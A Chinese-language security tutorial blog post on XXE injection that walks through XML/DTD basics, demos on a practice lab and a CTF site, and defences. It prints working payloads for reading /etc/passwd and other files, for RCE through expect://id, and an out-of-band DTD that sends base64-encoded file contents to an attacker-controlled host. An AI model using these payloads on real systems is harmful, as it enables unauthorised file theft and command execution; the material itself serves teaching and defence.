前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE-XML外部实体注入-知识点

XXE-XML外部实体注入-知识点

作者头像
用户9006224
发布2022-12-21 10:42:22
6750
发布2022-12-21 10:42:22
举报
文章被收录于专栏:cjz的专栏cjz的专栏

XXE 介绍:

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等 当使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体

基础概念:

xml基础概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE漏洞可以做什么事:

  • 文件读取
  • 内网扫描攻击
  • dos攻击
  • RCE执行

XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容 HTML被设计用来显示数据,其焦点是数据的外观 HTML旨在显示信息,而XML旨在传输信息

如何去挖XXE漏洞:

  • 抓包修改数据类型,把json改成xml来传输数据 Content-Type: application/xml
  • 抓包看响应体是否存在xml,accept头是否接受xml
  • 代码审计里面是否使用了LoadXML( )函数
  • 看到url是 .ashx后缀的
  • 响应体是xml

xml示例:

代码语言:javascript
复制
<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

DTD实体的攻击方式 :

DTD 内部声明:

代码语言:javascript
复制
<!DOCTYPE 根元素 [元素声明]>

DTD 外部引用:

代码语言:javascript
复制
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

引用公共DTD:

代码语言:javascript
复制
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

外部引用语音和支持的协议

不同的语言对协议的支持是不一样的,我在网上找的参考图:

在这里插入图片描述
在这里插入图片描述

XXE攻击常用的语句:

有回显

读取文件,比如linux的 /etc/passwd 内容等

代码语言:javascript
复制
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>
代码语言:javascript
复制
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

PHP expect RCE:由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

代码语言:javascript
复制
<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

无回显

无回显的情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好的 外部实体dtd 在被攻击端引入外部实体后 结果在 日志里或者自己写一个脚本储存都可以 这里是查看日志的

dtd: 可以将内部的%号要进行实体编码成&#37 这个是php的经过base64加密后显示结果 根据情况修改ip文件路径

代码语言:javascript
复制
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.56.128:8080/?p=%file;'>">

在被攻击端输入:

代码语言:javascript
复制
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.56.128/text/xxe/text.dtd">
%remote;%int;%send;
]>

用pikachu靶场演示xxe漏洞

我靶场机器中 c盘下有一个 xxe.txt 文件内容为:XXE(demonstration) 我用的攻击代码:

代码语言:javascript
复制
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>

操作如下:

在这里插入图片描述
在这里插入图片描述

CTF-Jarvis-OJ-Web-XXE 演示:

地址:http://web.jarvisoj.com:9882 第一步抓包

在这里插入图片描述
在这里插入图片描述

修改为 Content-Type: application/xml 提交数据 换上xxe攻击语句

代码语言:javascript
复制
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

ctf 一般都会有一个 cft 文件夹或者 ctf.txt 在或者 flag.txt文件

在这里插入图片描述
在这里插入图片描述

绕过方法参考文章:

这里给大佬写文章参考 https://www.cnblogs.com/20175211lyz/p/11413335.html https://xz.aliyun.com/t/4059

参考文章中大致说了如下绕过方法:

  • data://协议绕过
  • file://协议加文件上传
  • php://filter协议加文件上传
  • 文档中的额外空格
  • 为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效
  • 外来编码(Exotic encodings)
  • 在一个文档中使用两种类型的编码

防御XXE漏洞:

使用开发语言提供的禁用外部实体的方法:

php:
代码语言:javascript
复制
libxml_disable_entity_loader(true);
JAVA:
代码语言:javascript
复制
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
代码语言:javascript
复制
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

其它语言参考方法:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

手动黑名单过滤:

过滤:<!DOCTYPE<!ENTITY SYSTEMPUBLIC

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • XXE 介绍:
  • 基础概念:
    • xml基础概念
    • XXE漏洞可以做什么事:
      • XML与HTML的主要差异
      • 如何去挖XXE漏洞:
      • xml示例:
        • DTD实体的攻击方式 :
        • 外部引用语音和支持的协议
        • XXE攻击常用的语句:
          • 有回显
            • 无回显
              • 使用开发语言提供的禁用外部实体的方法:
              • 手动黑名单过滤:
          • 用pikachu靶场演示xxe漏洞
          • CTF-Jarvis-OJ-Web-XXE 演示:
          • 绕过方法参考文章:
          • 防御XXE漏洞:
          相关产品与服务
          代码审计
          代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档